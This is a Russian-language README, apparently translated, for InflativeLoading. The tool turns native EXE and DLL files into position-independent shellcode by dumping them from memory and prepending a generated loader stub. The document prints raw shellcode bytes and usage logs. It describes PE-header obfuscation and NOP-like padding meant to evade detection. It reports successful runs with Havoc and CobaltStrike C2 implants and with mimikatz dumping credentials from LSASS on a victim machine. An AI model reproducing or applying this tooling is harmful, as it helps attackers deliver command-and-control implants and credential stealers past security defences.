
Динамически преобразуйте неуправляемый файл EXE или DLL в PIC-шеллкод, добавляя в начало заглушку шеллкода.
Статья: https://winslow1984.com/books/malware/page/reflectiveloading-and-inflativeloading
В этом разделе представлены основные обновления. Крупные обновления включают добавленные поддержки или функции.
Для завершения процесса загрузки необходимы лишь несколько байт в PE-заголовке, такие как e_lfanew, RVA таблицы импорта. Поэтому остальные байты могут быть перезаписаны случайными значениями, чтобы скрыть сигнатуры PE-заголовка.
После завершения всех процессов даже эти байты будут перезаписаны для полной обфускации. Например, на скриншоте ниже видно, что PE-заголовок в основном обфусцирован, но e_lfanew остается необфусцированным для целей загрузки. Однако после процесса загрузки e_lfanew также обфусцируется.

Однако, в зависимости от выбранной программы, обфускация может быть с ней несовместима. Вы должны понимать, как работает программа. Например, полезная нагрузка Havoc stateless DLL несовместима с функцией обфускации, потому что DLL также использует PE-заголовок.

Полезная нагрузка Havoc stageless EXE хорошо работает с обфускацией:```powershell PS C:\Users\Administrator\Desktop\dev\inflativeloading> .\DumpPEFromMemory.exe .\havoc.exe havoc.bin [+] The file is an EXE file [+] Process PID: 26772 [+] PEB Address:000000E87CB1D000 [+] Image Base Address:00007FF7BB8A0000 [+] e_lfanew is 0x80 [+] Size Of The Image : 0x1e000 [+] Size Of Optional Header : 0xf0 [+] Size Of text Section : 0x18000 [+] Size of other sections of mapped .\havoc.exe is 0x5000
[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages
// Allocate memory with RX permission for shellcode stub LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for PE Header VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04); // Allocate memory with RX permission for text section VirtualAlloc(buffer + 0x2000, 0x18000, 0x3000, 0x20); // Allocate memory with RW permission for other sections VirtualAlloc(buffer + 0x2000 + 0x18000, 0x5000, 0x3000, 0x20);
[+] 3 iterations are needed
[+] Data successfully written to havoc.bin. Total bytes read: 0x1e000 PS C:\Users\Administrator\Desktop\dev\inflativeloading> python .\InflativeLoading.py -f .\havoc.bin -e true -o true -b havocsc.bin
██╗███╗ ██╗███████╗██╗ █████╗ ████████╗██╗██╗ ██╗███████╗ ██║████╗ ██║██╔════╝██║ ██╔══██╗╚══██╔══╝██║██║ ██║██╔════╝ ██║██╔██╗ ██║█████╗ ██║ ███████║ ██║ ██║██║ ██║█████╗ ██║██║╚██╗██║██╔══╝ ██║ ██╔══██║ ██║ ██║╚██╗ ██╔╝██╔══╝ ██║██║ ╚████║██║ ███████╗██║ ██║ ██║ ██║ ╚████╔╝ ███████╗ ╚═╝╚═╝ ╚═══╝╚═╝ ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚══════╝
██╗ ██████╗ █████╗ ██████╗ ██╗███╗ ██╗ ██████╗
██║ ██╔═══██╗██╔══██╗██╔══██╗██║████╗ ██║██╔════╝
██║ ██║ ██║███████║██║ ██║██║██╔██╗ ██║██║ ███╗
██║ ██║ ██║██╔══██║██║ ██║██║██║╚██╗██║██║ ██║
███████╗╚██████╔╝██║ ██║██████╔╝██║██║ ╚████║╚██████╔╝
╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝
Author: Senzee Github Repository: https://github.com/senzee1984/InflativeLoading Twitter: senzee@1984 Website: https://winslow1984.com Description: Dynamically convert a native PE to PIC shellcode Attention: Bugs are expected, more support and improvements are coming!
[!] The offset to NT header is 0x80 [!] Depending on the program, obfuscation may not be compatible with it. Make sure you know how does the program work! [!] Dynamically generated instructions to obfuscate remained PE signatures: mov dword ptr [rbx+0x3c], 0x29f7945; mov dword ptr [rbx+0xa8], 0x99924859; mov dword ptr [rbx+0xb0], 0x99924859; mov dword ptr [rbx+0xb4], 0x1203885a; mov dword ptr [rbx+0xd0], 0xbc488d5f; mov dword ptr [rbx+0x110], 0xbc488d5f; mov dword ptr [rbx+0x114], 0x87287f91; mov dword ptr [rbx+0x130], 0xbc488d5f; mov dword ptr [rbx+0x134], 0xd44cc6bb; mov dword ptr [rbx+0x170], 0xbc488d5f; mov dword ptr [rbx+0x174], 0x8d976bd1;
[+] Shellcode Stub size: 957 bytes [+] Generating NOP-like instructions to pad shellcode stub up to 0x1000 bytes [!] Shellcoded PE's size: 126976 bytes
buf += b"\x48\x83\xe4\xf0\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x20\x48\x83\xc6\x70" buf += b"\xc6\x06\x0c\xc6\x46\x02\xff\x48\x8b\x76\x08\xc7\x06\x31\x00\x2e\x00\xc7\x46\x04" buf += b"\x65\x00\x78\x00\xc7\x46\x08\x65\x00\x20\x00\xc6\x46\x0c\x00\x48\x8b\x70\x18\x48" buf += b"\x8b\x76\x30\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x10\xeb\x66\x41\x8b\x49\x3c\x4d" buf += b"\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f" buf += b"\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c" buf += b"\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb" buf += b"\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b" buf += b"\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\x48\x31\xc0\xc3\x4c\x89\xcd" buf += b"\x41\xb8\x8e\x4e\x0e\xec\xe8\x8c\xff\xff\xff\x49\x89\xc4\x41\xb8\xaa\xfc\x0d\x7c" buf += b"\xe8\x7e\xff\xff\xff\x49\x89\xc5\xeb\x0a\x48\x31\xc0\x8b\x43\x3c\x48\x01\xd8\xc3" buf += b"\x48\x31\xf6\x48\x31\xff\x48\x8d\x1d\x17\x0f\x00\x00\xe8\xe4\xff\xff\xff\x8b\xb0" buf += b"\x90\x00\x00\x00\x48\x01\xde\x8b\xb8\x94\x00\x00\x00\x48\x01\xf7\x48\x39\xfe\x74" buf += b"\x74\x48\x31\xd2\x8b\x56\x10\x48\x85\xd2\x74\x69\x48\x31\xc9\x8b\x4e\x0c\x48\x01" buf += b"\xd9\x41\xff\xd4\x48\x31\xd2\x8b\x56\x10\x48\x01\xda\x48\x89\xc1\x49\x89\xd6\x4c" buf += b"\x89\xf2\x48\x8b\x12\x48\x85\xd2\x74\x3d\x49\xb9\x00\x00\x00\x00\x00\x00\x00\x80" buf += b"\x4c\x85\xca\x48\x89\xcd\x75\x0c\x48\x01\xda\x48\x83\xc2\x02\x41\xff\xd5\xeb\x10" buf += b"\x49\xb9\xff\xff\xff\xff\xff\xff\xff\x7f\x4c\x21\xca\x41\xff\xd5\x48\x89\xe9\x4c" buf += b"\x89\xf2\x48\x89\x02\x49\x83\xc6\x08\xeb\xb8\x48\x83\xc6\x14\xeb\x87\x48\x31\xf6" buf += b"\x48\x31\xff\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xff\xe8\x45\xff\xff\xff\x8b\xb0\xb0" ......126576 more bytes......
Generated shellcode successfully saved in file havocsc.bin
[#] Shellcode located at address 0x1ae8ab70000
[!] PRESS TO EXECUTE SHELLCODED EXE...
### 4/11/2024 Замена заполняющих NOP на последовательности инструкций, подобных NOP
До обновления инструкции `0x90/NOP` добавлялись после фактического шеллкод-заглушки для выравнивания страницы памяти. Большое количество NOP может быть обнаружено, поэтому скрипт InflativeLoading динамически выбирает предустановленные последовательности инструкций, подобных NOP. Пользователи также могут добавлять новые или заменять существующие для достижения лучшей обфускации.```python
nop_like_instructions = [
{"instruction": [0x90], "length": 1}, # NOP
{"instruction": [0x86, 0xdb], "length": 2}, # xchg bl, bl;
{"instruction": [0x66, 0x87, 0xf6], "length": 3}, # xchg si, si;
{"instruction": [0x48, 0x9c, 0x48, 0x93], "length": 4}, # xchg rax, rbx; xchg rbx, rax;
{"instruction": [0x66, 0x83, 0xc2, 0x00], "length": 4}, # add dx, 0
{"instruction": [0x48, 0xff, 0xc0, 0x48, 0xff, 0xc8], "length": 6}, # inc rax; dec rax;
{"instruction": [0x49, 0xf7, 0xd8, 0x49, 0xf7, 0xd8], "length": 6}, # neg r8; neg r8;
{"instruction": [0x48, 0x83, 0xc0, 0x01, 0x48, 0xff, 0xc8], "length": 7}, # add rax,0x1; dec rax;
{"instruction": [0x48, 0x83, 0xe9, 0x2, 0x48, 0xff, 0xc1, 0x48, 0xff, 0xc1], "length": 10}, # sub rcx, 2; inc rcx; inc rcx
]
Я добавил дополнительную логику шеллкода для обработки некоторых необычных исключений. Например, в полезной нагрузке CobaltStrike stateless DLL некоторые записи базовой перекомпоновки недействительны, потому что RVA страницы больше размера образа.
Размер образа — 0x58000.

Однако некоторые RVA больше, чем 0x58000.

Кроме того, шеллкод корректно завершает программу после выполнения преобразованного шеллкода.
Теперь дампер может отображать больше информации и давать рекомендации по выделению памяти:```c // Allocate memory with RX permission for shellcode stub LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for PE Header VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04); // Allocate memory with RX permission for text section VirtualAlloc(buffer + 0x2000, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for other sections VirtualAlloc(buffer + 0x2000 + 0x1000, 0x5000, 0x3000, 0x20);
Заглушка шелл-кода фиксирована на `0x1000` байт, PE-заголовок фиксирован на `0x1000` байт, а размер текстового раздела и других разделов варьируется.
### 4/11/2024 Added Support For Unmanaged DLL
После обновления неуправляемые DLL также могут быть преобразованы в PIC шелл-код. Тестовые примеры для пользовательских DLL, полезной нагрузки Havoc без стадий и полезной нагрузки CobaltStrike без стадий пройдены.```powershell
PS C:\Users\Administrator\Desktop\dev\inflativeloading> .\DumpPEFromMemory.exe .\havocdll.dll havocdll.bin
[+] The file is a DLL file
[+] Image base of mapped .\havocdll.dll is 0x1a730000
[+] e_lfanew of mapped .\havocdll.dll is 0x80
[+] imageSize of mapped .\havocdll.dll is 0x1e000
[+] Size of optinalHeader of mapped .\havocdll.dll is 0xf0
[+] Offset of section Header of mapped .\havocdll.dll is 0x188
[+] Size of text section of mapped .\havocdll.dll is 0x18000
[+] Size of other sections of mapped .\havocdll.dll is 0x5000
[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages
// Allocate memory with RX permission for shellcode stub
LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20);
// Allocate memory with RW permission for PE Header
VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04);
// Allocate memory with RX permission for text section
VirtualAlloc(buffer + 0x2000, 0x18000, 0x3000, 0x20);
// Allocate memory with RW permission for other sections
VirtualAlloc(buffer + 0x2000 + 0x18000, 0x5000, 0x3000, 0x20);
[+] Data successfully written to havocdll.bin
PS C:\Users\Administrator\Desktop\dev\inflativeloading> python .\InflativeLoading.py -f .\havocdll.bin -e true -o false -b havocdllsc.bin
██╗███╗ ██╗███████╗██╗ █████╗ ████████╗██╗██╗ ██╗███████╗
██║████╗ ██║██╔════╝██║ ██╔══██╗╚══██╔══╝██║██║ ██║██╔════╝
██║██╔██╗ ██║█████╗ ██║ ███████║ ██║ ██║██║ ██║█████╗
██║██║╚██╗██║██╔══╝ ██║ ██╔══██║ ██║ ██║╚██╗ ██╔╝██╔══╝
██║██║ ╚████║██║ ███████╗██║ ██║ ██║ ██║ ╚████╔╝ ███████╗
╚═╝╚═╝ ╚═══╝╚═╝ ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚══════╝
██╗ ██████╗ █████╗ ██████╗ ██╗███╗ ██╗ ██████╗
██║ ██╔═══██╗██╔══██╗██╔══██╗██║████╗ ██║██╔════╝
██║ ██║ ██║███████║██║ ██║██║██╔██╗ ██║██║ ███╗
██║ ██║ ██║██╔══██║██║ ██║██║██║╚██╗██║██║ ██║
███████╗╚██████╔╝██║ ██║██████╔╝██║██║ ╚████║╚██████╔╝
╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝
Author: Senzee
Github Repository: https://github.com/senzee1984/InflativeLoading
Twitter: senzee@1984
Website: https://winslow1984.com
Description: Dynamically convert a native PE to PIC shellcode
Attention: Bugs are expected, more support and improvements are coming!
[!] The offset to NT header is 0x80
[+] Shellcode Stub size: 850 bytes
[+] Generating NOP-like instructions to pad shellcode stub up to 0x1000 bytes
[!] Shellcoded PE's size: 126976 bytes
buf += b"\x48\x83\xe4\xf0\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x20\x48\x83\xc6\x70"
buf += b"\xc6\x06\x0c\xc6\x46\x02\xff\x48\x8b\x76\x08\xc7\x06\x31\x00\x2e\x00\xc7\x46\x04"
buf += b"\x65\x00\x78\x00\xc7\x46\x08\x65\x00\x20\x00\xc6\x46\x0c\x00\x48\x8b\x70\x18\x48"
buf += b"\x8b\x76\x30\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x10\xeb\x66\x41\x8b\x49\x3c\x4d"
buf += b"\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f"
buf += b"\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c"
buf += b"\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb"
buf += b"\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b"
buf += b"\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\x48\x31\xc0\xc3\x4c\x89\xcd"
buf += b"\x41\xb8\x8e\x4e\x0e\xec\xe8\x8c\xff\xff\xff\x49\x89\xc4\x41\xb8\xaa\xfc\x0d\x7c"
buf += b"\xe8\x7e\xff\xff\xff\x49\x89\xc5\xeb\x0a\x48\x31\xc0\x8b\x43\x3c\x48\x01\xd8\xc3"
buf += b"\x48\x31\xf6\x48\x31\xff\x48\x8d\x1d\x17\x0f\x00\x00\xe8\xe4\xff\xff\xff\x8b\xb0"
buf += b"\x90\x00\x00\x00\x48\x01\xde\x8b\xb8\x94\x00\x00\x00\x48\x01\xf7\x48\x39\xfe\x74"
buf += b"\x74\x48\x31\xd2\x8b\x56\x10\x48\x85\xd2\x74\x69\x48\x31\xc9\x8b\x4e\x0c\x48\x01"
buf += b"\xd9\x41\xff\xd4\x48\x31\xd2\x8b\x56\x10\x48\x01\xda\x48\x89\xc1\x49\x89\xd6\x4c"
buf += b"\x89\xf2\x48\x8b\x12\x48\x85\xd2\x74\x3d\x49\xb9\x00\x00\x00\x00\x00\x00\x00\x80"
buf += b"\x4c\x85\xca\x48\x89\xcd\x75\x0c\x48\x01\xda\x48\x83\xc2\x02\x41\xff\xd5\xeb\x10"
buf += b"\x49\xb9\xff\xff\xff\xff\xff\xff\xff\x7f\x4c\x21\xca\x41\xff\xd5\x48\x89\xe9\x4c"
buf += b"\x89\xf2\x48\x89\x02\x49\x83\xc6\x08\xeb\xb8\x48\x83\xc6\x14\xeb\x87\x48\x31\xf6"
buf += b"\x48\x31\xff\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xff\xe8\x45\xff\xff\xff\x8b\xb0\xb0"
......126576 more bytes......
Generated shellcode successfully saved in file havocdllsc.bin
[#] Shellcode located at address 0x2108a9d0000
[!] PRESS TO EXECUTE SHELLCODED EXE...

Я немного изменил код, исправляющий IAT, так как обнаружил, что некоторые строки кода не нужны. После этого InflativeLoading может выполнять некоторые UPX-упакованные EXE-программы, включая calc.exe, PsExec. Однако только некоторые из упакованных программ. Во-первых, я вряд ли буду тестировать все возможные конфигурации упаковки для всех протестированных программ. Во-вторых, читайте дальше:
Для программ, у которых нет отложенного импорта (delayed import directory), InflativeLoading может выполнять их UPX-упакованные версии. Но в отличие от распакованных программ, у упакованных программ все ILT пусты.
Возьмем, например, обычный calc.exe: ILT и IAT идентичны для всех модулей.

Но для UPX-упакованного calc.exe ILT пуст для всех записей в каталоге импорта.

Однако если у программы есть отложенный импорт, как у Mimikatz, всё становится сложнее.
Для обычного mimikatz.exe отложенный импорт выглядит так:

Но для UPX-упакованного mimikatz.exe PE Bear не может его разобрать, как и я.

Ниже показан успешный тестовый пример для UPX-упакованного calc.exe.

Одна из моих целей — преобразовать exe в shellcode. Таким образом, некоторые инструменты безопасности, такие как Mimikatz, можно использовать с большей гибкостью. Хотя некоторые инструменты, такие как Donut, уже этого добились, я всё же хочу создать такой инструмент своим способом и, надеюсь, он привнесёт некоторые улучшения.
Мотивированный и вдохновлённый некоторыми классическими и современными инструментами и техниками, InflativeLoading — это инструмент, который может динамически преобразовывать неуправляемый EXE/DLL в PIC-шеллкод.
Короче говоря, InflativeLoading генерирует и добавляет заглушку shellcode к выгруженному основному модулю PE.
Инструмент состоит из DumpPEFromMemory.exe и InflativeLoading.py.
Для преобразования неуправляемого PE-файла в shellcode необходимы следующие два компонента.
DumpPEFromMemory.exe используется для получения версии выбранного PE-файла в памяти.
Для программ EXE он работает путём создания процесса в приостановленном состоянии и выгрузки основного модуля в бинарный файл (на вашей машине разработки). Почему? Типичный процесс отражающей загрузки отображает каждый раздел PE-файла в область памяти, выделенную заново. В связи с этим у меня есть два соображения: во-первых, хотя данные каждого раздела в принципе одинаковы, независимо от того, находятся ли они на диске или в памяти, всё же могут быть определённые различия для конкретных PE-файлов или при определённых обстоятельствах.```c
// Code snippet from Maldev course
for (int i = 0; i < pPeHdrs->pImgNtHdrs->FileHeader.NumberOfSections; i++) {
memcpy(
(PVOID)(pPeBaseAddress + pPeHdrs->pImgSecHdr[i].VirtualAddress), // Distination: pPeBaseAddress + RVA
(PVOID)(pPeHdrs->pFileBuffer + pPeHdrs->pImgSecHdr[i].PointerToRawData), // Source: pPeHdrs->pFileBuffer + RVA
pPeHdrs->pImgSecHdr[i].SizeOfRawData // Size
);
}
Для файлов `DLL` DumPEFromMemory создает отображение файла и отображает представление файла без выполнения DllMain().
Во-вторых, содержимое PE-файла уже существует в памяти загрузчика (например, как массив байтов), но загрузчик снова выделяет пространство памяти. Выполнение DumpPEFromMemory завершается на машине разработчика оператора. Оператор получает дамп PE-файла, когда он загружен в память. Хотя некоторые данные все еще требуют обновления, выделение области памяти на машине жертвы не требуется.
Таким образом, вместо ручного отображения файла нам нужно только пропатчить определенные области данных, такие как `Import Directory`, `Base Relocation Table Directory`, `Delayed Load Import Descriptors Directory` и т.д.
Дамп основного модуля будет сохранен в виде бинарного файла для добавления к заглушке шелл-кода.
Например, DumpPEFromMemory выполняет классический инструмент mimikatz и сохраняет его основной модуль в бинарный файл.```powershell
PS C:\dev\inflativeloading> .\DumpPEFromMemory.exe .\mimikatz.exe mimikatz.bin
[+] The file is an EXE file
[+] Process PID: 23052
[+] PEB Address:00000000004A5000
[+] Image Base Address:00007FF730E00000
[+] e_lfanew is 0x120
[+] Size Of The Image : 0x137000
[+] Size Of Optional Header : 0xf0
[+] Size Of text Section : 0xc5000
[+] Size of other sections of mapped .\mimikatz.exe is 0x71000
[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages
// Allocate memory with RX permission for shellcode stub
LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20);
// Allocate memory with RW permission for PE Header
VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04);
// Allocate memory with RX permission for text section
VirtualAlloc(buffer + 0x2000, 0xc5000, 0x3000, 0x20);
// Allocate memory with RW permission for other sections
VirtualAlloc(buffer + 0x2000 + 0xc5000, 0x71000, 0x3000, 0x20);
[+] 29 iterations are needed
[+] Data successfully written to mimikatz.bin. Total bytes read: 0x137000

И дампить DLL-пейлоад Havoc из памяти:```powershell PS C:\dev\inflativeloading> .\DumpPEFromMemory.exe .\havocdll.dll havocdll.bin [+] The file is a DLL file [+] Image base of mapped .\havocdll.dll is 0x87fd0000 [+] e_lfanew of mapped .\havocdll.dll is 0x80 [+] imageSize of mapped .\havocdll.dll is 0x1e000 [+] Size of optinalHeader of mapped .\havocdll.dll is 0xf0 [+] Offset of section Header of mapped .\havocdll.dll is 0x188 [+] Size of text section of mapped .\havocdll.dll is 0x18000 [+] Size of other sections of mapped .\havocdll.dll is 0x5000
[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages
// Allocate memory with RX permission for shellcode stub LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for PE Header VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04); // Allocate memory with RX permission for text section VirtualAlloc(buffer + 0x2000, 0x18000, 0x3000, 0x20); // Allocate memory with RW permission for other sections VirtualAlloc(buffer + 0x2000 + 0x18000, 0x5000, 0x3000, 0x20);
[+] Data successfully written to havocdll.bin

### Сценарий InflativeLoading
Сценарий динамически генерирует заглушку shellcode и добавляет её в начало файла дампа.
Shellcode выполняет следующие задачи:
1. Обойти PEB и найти kernel32.dll
2. Обновить командную строку
3. Разобрать kernel32.dll, чтобы получить адреса функций LoadLibraryA, GetProcAddress.
4. Найти добавленный файл дампа по смещению
5. Динамически исправить каталог импорта, каталог таблицы базовых перемещений, каталог дескрипторов отложенной загрузки импорта и т.д.
6. Выбрать обфускацию заголовка PE
7. Передать выполнение на точку входа PE-файла.
8. Корректно завершить работу
Например, используйте сценарий для чтения ранее выгруженного mimikatz и укажите правильную командную строку для извлечения учётных данных из LSASS:

Хотя заглушка shellcode обычно должна быть меньше 1000 байт, сценарий всё же дополняет её до 4096 байт для выравнивания по границе страницы памяти. Затем оператор может легко установить правильные разрешения страниц для различных областей памяти. Дампер предоставляет предложение по выделению памяти:```powershell
// Allocate memory with RX permission for shellcode stub
LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20);
// Allocate memory with RW permission for PE Header
VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04);
// Allocate memory with RX permission for text section
VirtualAlloc(buffer + 0x2000, 0xc5000, 0x3000, 0x20);
// Allocate memory with RW permission for other sections
VirtualAlloc(buffer + 0x2000 + 0xc5000, 0x71000, 0x3000, 0x20);
Я полагаю, вы уже ознакомились с обоими компонентами InflativeLoading, вкратце:
Лучшие сценарии использования и Известные проблемы или ограничения для получения информации о выборе PE-файлов.Поскольку InflativeLoading находится на ранней стадии, не все exe-файлы хорошо поддерживаются. Неуправляемые DLL поддерживаются хорошо; выполнение экспортной функции появится в следующем обновлении!
✅ Нативная консольная программа, не зависящая от аргументов, например, бесстадийный имплант C2, простая пользовательская консольная программа.
✅ Нативная консольная программа с интерактивной консолью/оболочкой, например Mimikatz.
✅ Неуправляемая DLL
✔️ Не требуются специальные экспортные функции, что делает его более дружелюбным к PE-файлам, для которых исходный код и компиляция не легкодоступны
✔️ Избегает непреднамеренных результатов из-за различий между PE-файлом на диске и в памяти в некоторых случаях
✔️ Устраняет необходимость преобразования между исходным смещением файла и RVA
✔️ Избегает дополнительного выделения памяти
✔️ Избегает областей памяти RWX.
✔️ Даже для областей памяти RX он не начинается с сигнатуры MZ, что усложняет анализ.
☑️ Поддержка обычных нативных EXE
☑️ Поддержка неуправляемых DLL
☑️ Поддержка EXE/DLL с отложенным импортом (Delayed Import Directory)
☑️ Исправление IAT
☑️ Исправление таблицы базовых релокаций (Base Relocation Directory)
☑️ Тесты пройдены с классическими программами, такими как calc, mimikatz, PsExec и т.д.
☑️ Тесты пройдены с классическими полезными нагрузками C2, такими как бесстадийные DLL/EXE нагрузки CobaltStrike и Havoc.
☑️ Частичная поддержка упакованных программ.
⚠️ Некоторые из следующих проблем могут быть исправлены в будущем, в то время как другие остаются вне рамок по своей природе.
Предоставленная командная строка не всегда работает корректно. Это основное направление, на котором я сосредоточусь.
Плохо работает для GUI-программ, например, mspaint.exe. Но calc.exe работает хорошо.
Работает не со всеми упакованными программами. Некоторые упакованные программы могут выполняться хорошо, это зависит от конкретного случая.
Не работает для программ, требующих других зависимостей, например, пользовательских DLL.
Поддерживает только x64, и я не планирую добавлять поддержку x86 программ.
Если вы столкнетесь с любыми из вышеперечисленных проблем или ограничений, выполнение шелл-кода может аварийно завершиться, преобразованная программа не сможет правильно распознать командную строку, или может не быть ответа.
Например, PsExec.exe может быть преобразован в PIC-шелл-код, однако пользовательская командная строка не может быть корректно распознана.```cmd C:\Users<...SNIP>>python InflativeLoading.py -b psexec.bin -c "-s -i powershell" -e true -o psexec_merged.bin
<...SNIP...>
Generated shellcode successfully saved in file psexec_merged.bin
[#] Shellcode located at address 0x27159360000
[!] PRESS TO EXECUTE SHELLCODED EXE...
Python Console v3.12.2 - Python Copyright 2001-2023 Python Software Foundation. Copyright 2000 BeOpen.com. Copyright 1995-2001 CNRI. Copyright 1991-1995 SMC. Python Software Foundation
Couldn't install PSEXESVC service: The specified resource type cannot be found in the image file.
## Test Cases
| Программа | FORMAT | Имеет GUI? | Предоставлены аргументы? | Успешное выполнение | Корректное выполнение с аргументами |
| ----------- | ----------- | ----------- |----------- | ----------- |----------- |
| Простые пользовательские C/C++ программы | EXE |Нет | Нет |:heavy_check_mark: | N/A |
| Простая пользовательская DLL | DLL |Нет | Нет |:heavy_check_mark: | N/A |
| Полезная нагрузка Havoc и CobaltStrike EXE | EXE |Нет | Нет |:heavy_check_mark: | N/A |
| Полезная нагрузка Havoc и CobaltStrike DLL | DLL |Нет | Нет |:heavy_check_mark: | N/A |
| calc.exe | EXE | Да | Нет |:heavy_check_mark: |N/A |
| mimikatz.exe | EXE | Нет | Да |:heavy_check_mark: |:heavy_check_mark: |
| PsExec | EXE | Нет |Да |:heavy_check_mark: |:no_entry_sign:|
| mspaint.exe | EXE | Да |Нет | :no_entry_sign: |N/A|
| Упакованные программы | EXE | Нет |Нет | Частично|N/A|
Дамповые версии calc.exe и mimikatz.exe можно найти в папке `bin/` репозитория.
## Улучшения в будущем
:bell: В будущем ожидаются следующие функции и улучшения.
+ Отдельный загрузчик для .NET программ.
+ Добавить поддержку экспортных функций DLL.
+ Добавить поддержку большего количества упакованных программ.
+ Улучшить ужасный код : )
## Благодарности и ссылки
Следующие ресурсы вдохновили меня в ходе моих исследований и разработок:
<https://github.com/TheWover/donut>
<https://github.com/d35ha/PE2Shellcode>
<https://github.com/hasherezade/pe_to_shellcode>
<https://github.com/monoxgas/sRDI>
<https://github.com/stephenfewer/ReflectiveDLLInjection>
<https://securityintelligence.com/x-force/defining-cobalt-strike-reflective-loader/>
<https://maldevacademy.com/>